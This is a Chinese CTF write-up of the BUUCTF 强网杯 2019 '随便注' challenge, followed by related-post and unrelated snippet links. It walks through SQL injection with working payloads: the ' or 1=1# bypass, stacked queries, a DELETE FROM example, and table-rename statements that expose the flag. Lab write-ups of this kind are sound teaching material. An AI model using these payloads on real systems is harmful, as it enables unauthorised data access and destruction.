【BUUCTF】强网杯 2019随便注1 write up

输入万能密码1' or 1=1# ,判断存在sql注入,

SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台。
万能密码原理:
万能密码能够绕过sql检测,在sql数据库中,运算符也是有优先级的,=优先于and,and优先于or,简单来说1=‘1’恒成立,因此返回值永远为True,且在SQL语法中 # 是注释符,所以后面的语句都会被注释掉。
我们尝试输入1,2,3,到3报错,说明字段数只有2个
尝试联合注入union,
判断显示位:
判断语句:
1' union select 1,2-- -
一直判断到报错
输入1′ union select 1,2 # 回显一个正则过滤规则

由回显的信息得出 select被过滤,无法联合注入
拓展:
PHP 中的 preg_match() 函数可以根据正则表达式对字符串进行搜索匹配,函数的语法格式如下:
preg_match($pattern,$subject [, &$matches [, $flags = 0 [, $offset = 0 ]]])
preg_match() 函数可以返回 $pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。
尝试堆叠注入,查询数据库
堆叠注入原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

输入1';show databases;# ,成功回显 ,说明存在堆叠注入。
接下来查询表名:

成功回显,得到两个表 :words和1919810931114514
查询表中字段:输入1'; show columns from words; #

表名为数字时,要用反引号包起来查询。

看到了flag,如何回显flag呢?
1,通过 rename 先把 words 表改名为其他的表名(word)。
2,把 1919810931114514 表的名字改为 words 。
3,将 flag列 改名为 id
(4,或者将flag列改名为data)
如下:1,1';rename table words to word;
2,rename table `1919810931114514` to words;
3, alert table words change flag id varchar (100);#(4,alter table `words` add id int(10);alter table `words` change flag data varchar(20);#)
5,最后输入1’ or 1=1 # 查看所有内容(我试了试字符用不用反引号好像都行),大家看自己的情况吧!最好加上,免得出错)


【BUUCTF】强网杯 2019随便注1 write up的更多相关文章
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- BUUCTF[强网杯 2019]随便注(堆叠注入)
记一道堆叠注入的题.也是刷BUU的第一道题. ?inject=1' 报错 ?inject=1'--+ //正常 存在注入的.正常查询字段数,字段数为2.在联合查询的时候给了新提示 ?inject=0' ...
- [BUUOJ记录] [强网杯 2019]随便注(三种方法)
本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...
- 强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)
然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- WriteUp_easy_sql_堆叠注入_强网杯2019
题目描述 随便注 解题过程 查看源码,发现应该不适合sqlmap自动化注入,该题应该是让你手工注入: <!-- sqlmap是没有灵魂的 --> <form method=" ...
- [原题复现]2019强网杯WEB-随便注(多种方法)
简介 原题复现:https://gitee.com/xiaohua1998/qwb_2019_supersqli 考察知识点:SQL注入漏洞-堆叠注入 线上平台:https://buuoj.cn( ...
- [强网杯2019]upload buuoj
提示:重点在这,可节省大部分时间 扫描后台 发现www.tar.gz备份文件. 这平台有429[太多请求限制]防护.dirsearch扫描一堆429.于是用了最笨的方法. 文件上传 先注册个账号 注册 ...
- [强网杯 2019]Upload
0x00 知识点 代码审计,PHP 反序列化. 0x01 解题 先注册一个账号,再登陆 上传 简单测试一下: 只能上传能被正常查看的 png. F12看到文件上传路径 扫扫敏感文件 存在:/www.t ...
- [原题复现]强网杯 2019 WEB高明的黑客
简介 原题复现: 考察知识点:python代码编写能力... 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...
随机推荐
- javaProject
import java.io.*; public class Print{ public static void main(String[] args) throws IOException { // ...
- python 本地l离线安装whl文件
记录下无网络时安装Python环境 一: 单独下载文件 1.下载whl离线文件到本地,放到c盘根目录(任意位置均可,只是方便安装) https://pypi.org/ https://www.lfd. ...
- Django+VUE.js实现图片上传
vue里的代码 <template> <div> 添加商品<input v-model="name"><br> 价格<inpu ...
- 公共的common.scss (覆盖部分element组件主题色)
公共的 common.scss (包含主题色 覆盖部分element组件主题色) $theme: #D50000; $litterTheme: #ec6059; .text-theme { color ...
- Mac Google浏览器 Chrome
Mac Google浏览器 Chrome https://590m.com/f/28636472-500465601-d4c369 (访问密码:7410)
- Access-Control-Allow-Origin php跨域报错
Access-Control-Allow-Origin php跨域 解决办法: 1.PHP中echo:header(""Access-Control-Allow-Origin: * ...
- Windows使用cmd命令查看当前用户名
https://blog.csdn.net/qq_46068659/article/details/106037024 查看用户: net user 查看当前用户: whoami
- 射频识别技术(RFID)
概述: 无线射频识别即射频识别技术(Radio Frequency Identification,RFID),是自动识别技术的一种,通过无线射频方式进行非接触双向数据通信,利用无线射频方式对记录媒体( ...
- 如何获取传输url后面的参数
function GetRequest(urlStr) {//两种方式,输入链接获取或当前链接获取 if (typeof urlStr == "undefined") { var ...
- 20 local_settings文件配置 && .gitignore
1 local_settings 第一步:需要在项目根目录下的settings配置如下 try: from .local_settings import * except Exception: pas ...